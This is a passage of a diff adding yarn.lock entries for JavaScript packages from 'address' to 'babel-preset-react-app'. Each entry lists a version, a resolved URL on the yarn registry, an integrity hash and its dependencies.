+  integrity sha512-cl669nCJTZBsL97OF4kUQm5g5hC2uihk0NxY3WENAC0TYdILVkAyHymAntgxGkl7K+t0cXIrH5siy5S4XkFycA==
+
+address@^1.0.1, address@^1.1.2:
+  version "1.2.2"
+  resolved "https://registry.yarnpkg.com/address/-/address-1.2.2.tgz#2b5248dac5485a6390532c6a517fda2e3faac89e"
+  integrity sha512-4B/qKCfeE/ODUaAUpSwfzazo5x29WD4r3vXiWsB7I2mSDAihwEqKO+g8GELZUQSSAo5e1XTYh3ZVfLyxBc12nA==
+
+adjust-sourcemap-loader@^4.0.0:
+  version "4.0.0"
+  resolved "https://registry.yarnpkg.com/adjust-sourcemap-loader/-/adjust-sourcemap-loader-4.0.0.tgz#fc4a0fd080f7d10471f30a7320f25560ade28c99"
+  integrity sha512-OXwN5b9pCUXNQHJpwwD2qP40byEmSgzj8B4ydSN0uMNYWiFmJ6x6KwUllMmfk8Rwu/HJDFR7U8ubsWBoN0Xp0A==
+  dependencies:
+    loader-utils "^2.0.0"
+    regex-parser "^2.2.11"
+
+agent-base@6:
+  version "6.0.2"
+  resolved "https://registry.yarnpkg.com/agent-base/-/agent-base-6.0.2.tgz#49fff58577cfee3f37176feab4c22e00f86d7f77"
+  integrity sha512-RZNwNclF7+MS/8bDg70amg32dyeZGZxiDuQmZxKLAlQjr3jGyLx+4Kkk58UO7D2QdgFIQCovuSuZESne6RG6XQ==
+  dependencies:
+    debug "4"
+
+ajv-formats@^2.1.1:
+  version "2.1.1"
+  resolved "https://registry.yarnpkg.com/ajv-formats/-/ajv-formats-2.1.1.tgz#6e669400659eb74973bbf2e33327180a0996b520"
+  integrity sha512-Wx0Kx52hxE7C18hkMEggYlEifqWZtYaRgouJor+WMdPnQyEK13vgEWyVNup7SoeeoLMsr4kf5h6dOW11I15MUA==
+  dependencies:
+    ajv "^8.0.0"
+
+ajv-keywords@^3.4.1, ajv-keywords@^3.5.2:
+  version "3.5.2"
+  resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-3.5.2.tgz#31f29da5ab6e00d1c2d329acf7b5929614d5014d"
+  integrity sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==
+
+ajv-keywords@^5.1.0:
+  version "5.1.0"
+  resolved "https://registry.yarnpkg.com/ajv-keywords/-/ajv-keywords-5.1.0.tgz#69d4d385a4733cdbeab44964a1170a88f87f0e16"
+  integrity sha512-YCS/JNFAUyr5vAuhk1DWm1CBxRHW9LbJ2ozWeemrIqpbsqKjHVxYPyi5GC0rjZIT5JxJ3virVTS8wk4i/Z+krw==
+  dependencies:
+    fast-deep-equal "^3.1.3"
+
+ajv@^6.12.2, ajv@^6.12.4, ajv@^6.12.5:
+  version "6.12.6"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-6.12.6.tgz#baf5a62e802b07d977034586f8c3baf5adf26df4"
+  integrity sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==
+  dependencies:
+    fast-deep-equal "^3.1.1"
+    fast-json-stable-stringify "^2.0.0"
+    json-schema-traverse "^0.4.1"
+    uri-js "^4.2.2"
+
+ajv@^8.0.0, ajv@^8.6.0, ajv@^8.9.0:
+  version "8.17.1"
+  resolved "https://registry.yarnpkg.com/ajv/-/ajv-8.17.1.tgz#37d9a5c776af6bc92d7f4f9510eba4c0a60d11a6"
+  integrity sha512-B/gBuNg5SiMTrPkC+A2+cW0RszwxYmn6VYxB/inlBStS5nx6xHIt/ehKRhIMhqusl7a8LjQoZnjCs5vhwxOQ1g==
+  dependencies:
+    fast-deep-equal "^3.1.3"
+    fast-uri "^3.0.1"
+    json-schema-traverse "^1.0.0"
+    require-from-string "^2.0.2"
+
+animation-timelines@^0.0.4:
+  version "0.0.4"
+  resolved "https://registry.yarnpkg.com/animation-timelines/-/animation-timelines-0.0.4.tgz#7ac4614bae73c4d1ea2ff18d5d87a518793258af"
+  integrity sha512-HwCE3m1nM8ZdLbwDwD1j5ZNKmY+3J2CliXJNIsf3y1Si927SIaWpfxkycTg5nWLJSHgjsYxrmOy2Jbo4JR1e9A==
+
+ansi-escapes@^4.2.1, ansi-escapes@^4.3.1:
+  version "4.3.2"
+  resolved "https://registry.yarnpkg.com/ansi-escapes/-/ansi-escapes-4.3.2.tgz#6b2291d1db7d98b6521d5f1efa42d0f3a9feb65e"
+  integrity sha512-gKXj5ALrKWQLsYG9jlTRmR/xKluxHV+Z9QEwNIgCfM1/uwPMCuzVVnh5mwTd+OuBZcwSIMbqssNWRm1lE51QaQ==
+  dependencies:
+    type-fest "^0.21.3"
+
+ansi-html-community@^0.0.8:
+  version "0.0.8"
+  resolved "https://registry.yarnpkg.com/ansi-html-community/-/ansi-html-community-0.0.8.tgz#69fbc4d6ccbe383f9736934ae34c3f8290f1bf41"
+  integrity sha512-1APHAyr3+PCamwNw3bXCPp4HFLONZt/yIH0sZp0/469KWNTEy+qN5jQ3GVX6DMZ1UXAi34yVwtTeaG/HpBuuzw==
+
+ansi-html@^0.0.9:
+  version "0.0.9"
+  resolved "https://registry.yarnpkg.com/ansi-html/-/ansi-html-0.0.9.tgz#6512d02342ae2cc68131952644a129cb734cd3f0"
+  integrity sha512-ozbS3LuenHVxNRh/wdnN16QapUHzauqSomAl1jwwJRRsGwFwtj644lIhxfWu0Fy0acCij2+AEgHvjscq3dlVXg==
+
+ansi-regex@^0.2.0, ansi-regex@^0.2.1:
+  version "0.2.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-0.2.1.tgz#0d8e946967a3d8143f93e24e298525fc1b2235f9"
+  integrity sha512-sGwIGMjhYdW26/IhwK2gkWWI8DRCVO6uj3hYgHT+zD+QL1pa37tM3ujhyfcJIYSbsxp7Gxhy7zrRW/1AHm4BmA==
+
+ansi-regex@^5.0.1:
+  version "5.0.1"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-5.0.1.tgz#082cb2c89c9fe8659a311a53bd6a4dc5301db304"
+  integrity sha512-quJQXlTSUGL2LH9SUXo8VwsY4soanhgo6LNSm84E1LBcE8s3O0wpdiRzyR9z/ZZJMlMWv37qOOb9pdJlMUEKFQ==
+
+ansi-regex@^6.0.1:
+  version "6.1.0"
+  resolved "https://registry.yarnpkg.com/ansi-regex/-/ansi-regex-6.1.0.tgz#95ec409c69619d6cb1b8b34f14b660ef28ebd654"
+  integrity sha512-7HSX4QQb4CspciLpVFwyRe79O3xsIZDDLER21kERQ71oaPodF8jL725AgJMFAYbooIqolJoRLuM81SpeUkpkvA==
+
+ansi-styles@^1.1.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-1.1.0.tgz#eaecbf66cd706882760b2f4691582b8f55d7a7de"
+  integrity sha512-f2PKUkN5QngiSemowa6Mrk9MPCdtFiOSmibjZ+j1qhLGHHYsqZwmBMRF3IRMVXo8sybDqx2fJl2d/8OphBoWkA==
+
+ansi-styles@^3.2.1:
+  version "3.2.1"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-3.2.1.tgz#41fbb20243e50b12be0f04b8dedbf07520ce841d"
+  integrity sha512-VT0ZI6kZRdTh8YyJw3SMbYm/u+NqfsAxEpWO0Pf9sq8/e94WxxOpPKx9FR1FlyCtOVDNOQ+8ntlqFxiRc+r5qA==
+  dependencies:
+    color-convert "^1.9.0"
+
+ansi-styles@^4.0.0, ansi-styles@^4.1.0:
+  version "4.3.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-4.3.0.tgz#edd803628ae71c04c85ae7a0906edad34b648937"
+  integrity sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==
+  dependencies:
+    color-convert "^2.0.1"
+
+ansi-styles@^5.0.0:
+  version "5.2.0"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-5.2.0.tgz#07449690ad45777d1924ac2abb2fc8895dba836b"
+  integrity sha512-Cxwpt2SfTzTtXcfOlzGEee8O+c+MmUgGrNiBcXnuWxuFJHe6a5Hz7qwhwe5OgaSYI0IJvkLqWX1ASG+cJOkEiA==
+
+ansi-styles@^6.1.0:
+  version "6.2.1"
+  resolved "https://registry.yarnpkg.com/ansi-styles/-/ansi-styles-6.2.1.tgz#0e62320cf99c21afff3b3012192546aacbfb05c5"
+  integrity sha512-bN798gFfQX+viw3R7yrGWRqnrN2oRkEkUjjl4JNn4E8GxxbjtG3FbrEIIY3l8/hrwUwIeCZvi4QuOTP4MErVug==
+
+any-promise@^1.0.0:
+  version "1.3.0"
+  resolved "https://registry.yarnpkg.com/any-promise/-/any-promise-1.3.0.tgz#abc6afeedcea52e809cdc0376aed3ce39635d17f"
+  integrity sha512-7UvmKalWRt1wgjL1RrGxoSJW/0QZFIegpeGvZG9kjp8vrRu55XTHbwnqq2GpXm9uLbcuhxm3IqX9OB4MZR1b2A==
+
+anymatch@^3.0.3, anymatch@~3.1.2:
+  version "3.1.3"
+  resolved "https://registry.yarnpkg.com/anymatch/-/anymatch-3.1.3.tgz#790c58b19ba1720a84205b57c618d5ad8524973e"
+  integrity sha512-KMReFUr0B4t+D+OBkjR3KYqvocp2XaSzO55UcB6mgQMd3KbcE+mWTyvVV7D/zsdEbNnV6acZUutkiHQXvTr1Rw==
+  dependencies:
+    normalize-path "^3.0.0"
+    picomatch "^2.0.4"
+
+arg@^5.0.2:
+  version "5.0.2"
+  resolved "https://registry.yarnpkg.com/arg/-/arg-5.0.2.tgz#c81433cc427c92c4dcf4865142dbca6f15acd59c"
+  integrity sha512-PYjyFOLKQ9y57JvQ6QLo8dAgNqswh8M1RMJYdQduT6xbWSgK36P/Z/v+p888pM69jMMfS8Xd8F6I1kQ/I9HUGg==
+
+argparse@^1.0.7:
+  version "1.0.10"
+  resolved "https://registry.yarnpkg.com/argparse/-/argparse-1.0.10.tgz#bcd6791ea5ae09725e17e5ad988134cd40b3d911"
+  integrity sha512-o5Roy6tNG4SL/FOkCAN6RzjiakZS25RLYFrcMttJqbdd8BWrnA+fGz57iN5Pb06pvBGvl5gQ0B48dJlslXvoTg==
+  dependencies:
+    sprintf-js "~1.0.2"
+
+argparse@^2.0.1:
+  version "2.0.1"
+  resolved "https://registry.yarnpkg.com/argparse/-/argparse-2.0.1.tgz#246f50f3ca78a3240f6c997e8a9bd1eac49e4b38"
+  integrity sha512-8+9WqebbFzpX9OR+Wa6O29asIogeRMzcGtAINdpMHHyAg10f05aSFVBbcEqGf/PXw1EjAZ+q2/bEBg3DvurK3Q==
+
+aria-query@^5.3.2:
+  version "5.3.2"
+  resolved "https://registry.yarnpkg.com/aria-query/-/aria-query-5.3.2.tgz#93f81a43480e33a338f19163a3d10a50c01dcd59"
+  integrity sha512-COROpnaoap1E2F000S62r6A60uHZnmlvomhfyT2DlTcrY1OrBKn2UhH7qn5wTC9zMvD0AY7csdPSNwKP+7WiQw==
+
+array-buffer-byte-length@^1.0.1, array-buffer-byte-length@^1.0.2:
+  version "1.0.2"
+  resolved "https://registry.yarnpkg.com/array-buffer-byte-length/-/array-buffer-byte-length-1.0.2.tgz#384d12a37295aec3769ab022ad323a18a51ccf8b"
+  integrity sha512-LHE+8BuR7RYGDKvnrmcuSq3tDcKv9OFEXQt/HpbZhY7V6h0zlUXutnAD82GiFx9rdieCMjkvtcsPqBwgUl1Iiw==
+  dependencies:
+    call-bound "^1.0.3"
+    is-array-buffer "^3.0.5"
+
+array-flatten@1.1.1:
+  version "1.1.1"
+  resolved "https://registry.yarnpkg.com/array-flatten/-/array-flatten-1.1.1.tgz#9a5f699051b1e7073328f2a008968b64ea2955d2"
+  integrity sha512-PCVAQswWemu6UdxsDFFX/+gVeYqKAod3D3UVm91jHwynguOwAvYPhx8nNlM++NqRcK6CxxpUafjmhIdKiHibqg==
+
+array-includes@^3.1.6, array-includes@^3.1.8:
+  version "3.1.8"
+  resolved "https://registry.yarnpkg.com/array-includes/-/array-includes-3.1.8.tgz#5e370cbe172fdd5dd6530c1d4aadda25281ba97d"
+  integrity sha512-itaWrbYbqpGXkGhZPGUulwnhVf5Hpy1xiCFsGqyIGglbBxmG5vSjxQen3/WGOjPpNEv1RtBLKxbmVXm8HpJStQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-object-atoms "^1.0.0"
+    get-intrinsic "^1.2.4"
+    is-string "^1.0.7"
+
+array-union@^2.1.0:
+  version "2.1.0"
+  resolved "https://registry.yarnpkg.com/array-union/-/array-union-2.1.0.tgz#b798420adbeb1de828d84acd8a2e23d3efe85e8d"
+  integrity sha512-HGyxoOTYUyCM6stUe6EJgnd4EoewAI7zMdfqO+kGjnlZmBDz/cR5pf8r/cR4Wq60sL/p0IkcjUEEPwS3GFrIyw==
+
+array.prototype.findlast@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/array.prototype.findlast/-/array.prototype.findlast-1.2.5.tgz#3e4fbcb30a15a7f5bf64cf2faae22d139c2e4904"
+  integrity sha512-CVvd6FHg1Z3POpBLxO6E6zr+rSKEQ9L6rZHAaY7lLfhKsWYUBBOuMs0e9o24oopj6H+geRCX0YJ+TJLBK2eHyQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.findlastindex@^1.2.5:
+  version "1.2.5"
+  resolved "https://registry.yarnpkg.com/array.prototype.findlastindex/-/array.prototype.findlastindex-1.2.5.tgz#8c35a755c72908719453f87145ca011e39334d0d"
+  integrity sha512-zfETvRFA8o7EiNn++N5f/kaCw221hrpGsDmcpndVupkPzEc1Wuf3VgC0qby1BbHs7f5DVYjgtEU2LLh5bqeGfQ==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.flat@^1.3.1, array.prototype.flat@^1.3.2:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/array.prototype.flat/-/array.prototype.flat-1.3.3.tgz#534aaf9e6e8dd79fb6b9a9917f839ef1ec63afe5"
+  integrity sha512-rwG/ja1neyLqCuGZ5YYrznA62D4mZXg0i1cIskIUKSiqF3Cje9/wXAls9B9s1Wa2fomMsIv8czB8jZcPmxCXFg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.flatmap@^1.3.2, array.prototype.flatmap@^1.3.3:
+  version "1.3.3"
+  resolved "https://registry.yarnpkg.com/array.prototype.flatmap/-/array.prototype.flatmap-1.3.3.tgz#712cc792ae70370ae40586264629e33aab5dd38b"
+  integrity sha512-Y7Wt51eKJSyi80hFrJCePGGNo5ktJCslFuboqJsbf57CCPcm5zztluPlc4/aD8sWsKvlwatezpV4U1efk8kpjg==
+  dependencies:
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-shim-unscopables "^1.0.2"
+
+array.prototype.reduce@^1.0.6:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/array.prototype.reduce/-/array.prototype.reduce-1.0.7.tgz#6aadc2f995af29cb887eb866d981dc85ab6f7dc7"
+  integrity sha512-mzmiUCVwtiD4lgxYP8g7IYy8El8p2CSMePvIbTS7gchKir/L1fgJrk0yDKmAX6mnRQFKNADYIk8nNlTris5H1Q==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.2"
+    es-array-method-boxes-properly "^1.0.0"
+    es-errors "^1.3.0"
+    es-object-atoms "^1.0.0"
+    is-string "^1.0.7"
+
+array.prototype.tosorted@^1.1.4:
+  version "1.1.4"
+  resolved "https://registry.yarnpkg.com/array.prototype.tosorted/-/array.prototype.tosorted-1.1.4.tgz#fe954678ff53034e717ea3352a03f0b0b86f7ffc"
+  integrity sha512-p6Fx8B7b7ZhL/gmUsAy0D15WhvDccw3mnGNbZpi3pmeJdxtWsj2jEaI4Y6oo3XiHfzuSgPwKc04MYt6KgvC/wA==
+  dependencies:
+    call-bind "^1.0.7"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.3"
+    es-errors "^1.3.0"
+    es-shim-unscopables "^1.0.2"
+
+arraybuffer.prototype.slice@^1.0.4:
+  version "1.0.4"
+  resolved "https://registry.yarnpkg.com/arraybuffer.prototype.slice/-/arraybuffer.prototype.slice-1.0.4.tgz#9d760d84dbdd06d0cbf92c8849615a1a7ab3183c"
+  integrity sha512-BNoCY6SXXPQ7gF2opIP4GBE+Xw7U+pHMYKuzjgCN3GwiaIR09UUeKfheyIry77QtrCBlC0KK0q5/TER/tYh3PQ==
+  dependencies:
+    array-buffer-byte-length "^1.0.1"
+    call-bind "^1.0.8"
+    define-properties "^1.2.1"
+    es-abstract "^1.23.5"
+    es-errors "^1.3.0"
+    get-intrinsic "^1.2.6"
+    is-array-buffer "^3.0.4"
+
+asap@~2.0.6:
+  version "2.0.6"
+  resolved "https://registry.yarnpkg.com/asap/-/asap-2.0.6.tgz#e50347611d7e690943208bbdafebcbc2fb866d46"
+  integrity sha512-BSHWgDSAiKs50o2Re8ppvp3seVHXSRM44cdSsT9FfNEUUZLOGWVCsiWaRPWM1Znn+mqZ1OfVZ3z3DWEzSp7hRA==
+
+ast-types-flow@^0.0.8:
+  version "0.0.8"
+  resolved "https://registry.yarnpkg.com/ast-types-flow/-/ast-types-flow-0.0.8.tgz#0a85e1c92695769ac13a428bb653e7538bea27d6"
+  integrity sha512-OH/2E5Fg20h2aPrbe+QL8JZQFko0YZaF+j4mnQ7BGhfavO7OpSLa8a0y9sBwomHdSbkhTS8TQNayBfnW5DwbvQ==
+
+async@^3.2.3:
+  version "3.2.6"
+  resolved "https://registry.yarnpkg.com/async/-/async-3.2.6.tgz#1b0728e14929d51b85b449b7f06e27c1145e38ce"
+  integrity sha512-htCUDlxyyCLMgaM3xXg0C0LW2xqfuQ6p05pCEIsXuyQ+a1koYKTuBMzRNwmybfLgvJDMd0r1LTn4+E0Ti6C2AA==
+
+asynckit@^0.4.0:
+  version "0.4.0"
+  resolved "https://registry.yarnpkg.com/asynckit/-/asynckit-0.4.0.tgz#c79ed97f7f34cb8f2ba1bc9790bcc366474b4b79"
+  integrity sha512-Oei9OH4tRh0YqU3GxhX79dM/mwVgvbZJaSNaRk+bshkj0S5cfHcgYakreBjrHwatXKbz+IoIdYLxrKim2MjW0Q==
+
+at-least-node@^1.0.0:
+  version "1.0.0"
+  resolved "https://registry.yarnpkg.com/at-least-node/-/at-least-node-1.0.0.tgz#602cd4b46e844ad4effc92a8011a3c46e0238dc2"
+  integrity sha512-+q/t7Ekv1EDY2l6Gda6LLiX14rU9TV20Wa3ofeQmwPFZbOMo9DXrLbOjFaaclkXKWidIaopwAObQDqwWtGUjqg==
+
+autoprefixer@^10.4.13:
+  version "10.4.20"
+  resolved "https://registry.yarnpkg.com/autoprefixer/-/autoprefixer-10.4.20.tgz#5caec14d43976ef42e32dcb4bd62878e96be5b3b"
+  integrity sha512-XY25y5xSv/wEoqzDyXXME4AFfkZI0P23z6Fs3YgymDnKJkCGOnkL0iTxCa85UTqaSgfcqyf3UA6+c7wUvx/16g==
+  dependencies:
+    browserslist "^4.23.3"
+    caniuse-lite "^1.0.30001646"
+    fraction.js "^4.3.7"
+    normalize-range "^0.1.2"
+    picocolors "^1.0.1"
+    postcss-value-parser "^4.2.0"
+
+available-typed-arrays@^1.0.7:
+  version "1.0.7"
+  resolved "https://registry.yarnpkg.com/available-typed-arrays/-/available-typed-arrays-1.0.7.tgz#a5cc375d6a03c2efc87a553f3e0b1522def14846"
+  integrity sha512-wvUjBtSGN7+7SjNpq/9M2Tg350UZD3q62IFZLbRAR1bSMlCo1ZaeW+BJ+D090e4hIIZLBcTDWe4Mh4jvUDajzQ==
+  dependencies:
+    possible-typed-array-names "^1.0.0"
+
+axe-core@^4.10.0:
+  version "4.10.2"
+  resolved "https://registry.yarnpkg.com/axe-core/-/axe-core-4.10.2.tgz#85228e3e1d8b8532a27659b332e39b7fa0e022df"
+  integrity sha512-RE3mdQ7P3FRSe7eqCWoeQ/Z9QXrtniSjp1wUjt5nRC3WIpz5rSCve6o3fsZ2aCpJtrZjSZgjwXAoTO5k4tEI0w==
+
+axobject-query@^4.1.0:
+  version "4.1.0"
+  resolved "https://registry.yarnpkg.com/axobject-query/-/axobject-query-4.1.0.tgz#28768c76d0e3cff21bc62a9e2d0b6ac30042a1ee"
+  integrity sha512-qIj0G9wZbMGNLjLmg1PT6v2mE9AH2zlnADJD/2tC6E00hgmhUOfEB6greHPAfLRSufHqROIUTkw6E+M3lH0PTQ==
+
+babel-jest@^27.4.2, babel-jest@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/babel-jest/-/babel-jest-27.5.1.tgz#a1bf8d61928edfefd21da27eb86a695bfd691444"
+  integrity sha512-cdQ5dXjGRd0IBRATiQ4mZGlGlRE8kJpjPOixdNRdT+m3UcNqmYWN6rK6nvtXYfY3D76cb8s/O1Ss8ea24PIwcg==
+  dependencies:
+    "@jest/transform" "^27.5.1"
+    "@jest/types" "^27.5.1"
+    "@types/babel__core" "^7.1.14"
+    babel-plugin-istanbul "^6.1.1"
+    babel-preset-jest "^27.5.1"
+    chalk "^4.0.0"
+    graceful-fs "^4.2.9"
+    slash "^3.0.0"
+
+babel-loader@^8.2.3:
+  version "8.4.1"
+  resolved "https://registry.yarnpkg.com/babel-loader/-/babel-loader-8.4.1.tgz#6ccb75c66e62c3b144e1c5f2eaec5b8f6c08c675"
+  integrity sha512-nXzRChX+Z1GoE6yWavBQg6jDslyFF3SDjl2paADuoQtQW10JqShJt62R6eJQ5m/pjJFDT8xgKIWSP85OY8eXeA==
+  dependencies:
+    find-cache-dir "^3.3.1"
+    loader-utils "^2.0.4"
+    make-dir "^3.1.0"
+    schema-utils "^2.6.5"
+
+babel-plugin-istanbul@^6.1.1:
+  version "6.1.1"
+  resolved "https://registry.yarnpkg.com/babel-plugin-istanbul/-/babel-plugin-istanbul-6.1.1.tgz#fa88ec59232fd9b4e36dbbc540a8ec9a9b47da73"
+  integrity sha512-Y1IQok9821cC9onCx5otgFfRm7Lm+I+wwxOx738M/WLPZ9Q42m4IG5W0FNX8WLL2gYMZo3JkuXIH2DOpWM+qwA==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.0.0"
+    "@istanbuljs/load-nyc-config" "^1.0.0"
+    "@istanbuljs/schema" "^0.1.2"
+    istanbul-lib-instrument "^5.0.4"
+    test-exclude "^6.0.0"
+
+babel-plugin-jest-hoist@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/babel-plugin-jest-hoist/-/babel-plugin-jest-hoist-27.5.1.tgz#9be98ecf28c331eb9f5df9c72d6f89deb8181c2e"
+  integrity sha512-50wCwD5EMNW4aRpOwtqzyZHIewTYNxLA4nhB+09d8BIssfNfzBRhkBIHiaPv1Si226TQSvp8gxAJm2iY2qs2hQ==
+  dependencies:
+    "@babel/template" "^7.3.3"
+    "@babel/types" "^7.3.3"
+    "@types/babel__core" "^7.0.0"
+    "@types/babel__traverse" "^7.0.6"
+
+babel-plugin-macros@^3.1.0:
+  version "3.1.0"
+  resolved "https://registry.yarnpkg.com/babel-plugin-macros/-/babel-plugin-macros-3.1.0.tgz#9ef6dc74deb934b4db344dc973ee851d148c50c1"
+  integrity sha512-Cg7TFGpIr01vOQNODXOOaGz2NpCU5gl8x1qJFbb6hbZxR7XrcE2vtbAsTAbJ7/xwJtUuJEw8K8Zr/AE0LHlesg==
+  dependencies:
+    "@babel/runtime" "^7.12.5"
+    cosmiconfig "^7.0.0"
+    resolve "^1.19.0"
+
+babel-plugin-named-asset-import@^0.3.8:
+  version "0.3.8"
+  resolved "https://registry.yarnpkg.com/babel-plugin-named-asset-import/-/babel-plugin-named-asset-import-0.3.8.tgz#6b7fa43c59229685368683c28bc9734f24524cc2"
+  integrity sha512-WXiAc++qo7XcJ1ZnTYGtLxmBCVbddAml3CEXgWaBzNzLNoxtQ8AiGEFDMOhot9XjTCQbvP5E77Fj9Gk924f00Q==
+
+babel-plugin-polyfill-corejs2@^0.4.10:
+  version "0.4.12"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs2/-/babel-plugin-polyfill-corejs2-0.4.12.tgz#ca55bbec8ab0edeeef3d7b8ffd75322e210879a9"
+  integrity sha512-CPWT6BwvhrTO2d8QVorhTCQw9Y43zOu7G9HigcfxvepOU6b8o3tcWad6oVgZIsZCTt42FFv97aA7ZJsbM4+8og==
+  dependencies:
+    "@babel/compat-data" "^7.22.6"
+    "@babel/helper-define-polyfill-provider" "^0.6.3"
+    semver "^6.3.1"
+
+babel-plugin-polyfill-corejs3@^0.10.6:
+  version "0.10.6"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-corejs3/-/babel-plugin-polyfill-corejs3-0.10.6.tgz#2deda57caef50f59c525aeb4964d3b2f867710c7"
+  integrity sha512-b37+KR2i/khY5sKmWNVQAnitvquQbNdWy6lJdsr0kmquCKEEUgMKK4SboVM3HtfnZilfjr4MMQ7vY58FVWDtIA==
+  dependencies:
+    "@babel/helper-define-polyfill-provider" "^0.6.2"
+    core-js-compat "^3.38.0"
+
+babel-plugin-polyfill-regenerator@^0.6.1:
+  version "0.6.3"
+  resolved "https://registry.yarnpkg.com/babel-plugin-polyfill-regenerator/-/babel-plugin-polyfill-regenerator-0.6.3.tgz#abeb1f3f1c762eace37587f42548b08b57789bc8"
+  integrity sha512-LiWSbl4CRSIa5x/JAU6jZiG9eit9w6mz+yVMFwDE83LAWvt0AfGBoZ7HS/mkhrKuh2ZlzfVZYKoLjXdqw6Yt7Q==
+  dependencies:
+    "@babel/helper-define-polyfill-provider" "^0.6.3"
+
+babel-plugin-transform-react-remove-prop-types@^0.4.24:
+  version "0.4.24"
+  resolved "https://registry.yarnpkg.com/babel-plugin-transform-react-remove-prop-types/-/babel-plugin-transform-react-remove-prop-types-0.4.24.tgz#f2edaf9b4c6a5fbe5c1d678bfb531078c1555f3a"
+  integrity sha512-eqj0hVcJUR57/Ug2zE1Yswsw4LhuqqHhD+8v120T1cl3kjg76QwtyBrdIk4WVwK+lAhBJVYCd/v+4nc4y+8JsA==
+
+babel-preset-current-node-syntax@^1.0.0:
+  version "1.1.0"
+  resolved "https://registry.yarnpkg.com/babel-preset-current-node-syntax/-/babel-preset-current-node-syntax-1.1.0.tgz#9a929eafece419612ef4ae4f60b1862ebad8ef30"
+  integrity sha512-ldYss8SbBlWva1bs28q78Ju5Zq1F+8BrqBZZ0VFhLBvhh6lCpC2o3gDJi/5DRLs9FgYZCnmPYIVFU4lRXCkyUw==
+  dependencies:
+    "@babel/plugin-syntax-async-generators" "^7.8.4"
+    "@babel/plugin-syntax-bigint" "^7.8.3"
+    "@babel/plugin-syntax-class-properties" "^7.12.13"
+    "@babel/plugin-syntax-class-static-block" "^7.14.5"
+    "@babel/plugin-syntax-import-attributes" "^7.24.7"
+    "@babel/plugin-syntax-import-meta" "^7.10.4"
+    "@babel/plugin-syntax-json-strings" "^7.8.3"
+    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
+    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
+    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
+    "@babel/plugin-syntax-object-rest-spread" "^7.8.3"
+    "@babel/plugin-syntax-optional-catch-binding" "^7.8.3"
+    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
+    "@babel/plugin-syntax-private-property-in-object" "^7.14.5"
+    "@babel/plugin-syntax-top-level-await" "^7.14.5"
+
+babel-preset-jest@^27.5.1:
+  version "27.5.1"
+  resolved "https://registry.yarnpkg.com/babel-preset-jest/-/babel-preset-jest-27.5.1.tgz#91f10f58034cb7989cb4f962b69fa6eef6a6bc81"
+  integrity sha512-Nptf2FzlPCWYuJg41HBqXVT8ym6bXOevuCTbhxlUpjwtysGaIWFvDEjp4y+G7fl13FgOdjs7P/DmErqH7da0Ag==
+  dependencies:
+    babel-plugin-jest-hoist "^27.5.1"
+    babel-preset-current-node-syntax "^1.0.0"
+
+babel-preset-react-app@^10.0.1:
+  version "10.0.1"
+  resolved "https://registry.yarnpkg.com/babel-preset-react-app/-/babel-preset-react-app-10.0.1.tgz#ed6005a20a24f2c88521809fa9aea99903751584"
+  integrity sha512-b0D9IZ1WhhCWkrTXyFuIIgqGzSkRIH5D5AmB0bXbzYAB1OBAwHcUeyWW2LorutLWF5btNo/N7r/cIdmvvKJlYg==
+  dependencies:
+    "@babel/core" "^7.16.0"
+    "@babel/plugin-proposal-class-properties" "^7.16.0"
+    "@babel/plugin-proposal-decorators" "^7.16.4"
+    "@babel/plugin-proposal-nullish-coalescing-operator" "^7.16.0"
+    "@babel/plugin-proposal-numeric-separator" "^7.16.0"
+    "@babel/plugin-proposal-optional-chaining" "^7.16.0"
+    "@babel/plugin-proposal-private-methods" "^7.16.0"
+    "@babel/plugin-transform-flow-strip-types" "^7.16.0"
+    "@babel/plugin-transform-react-display-name" "^7.16.0"
+    "@babel/plugin-transform-runtime" "^7.16.4"
+    "@babel/preset-env" "^7.16.4"
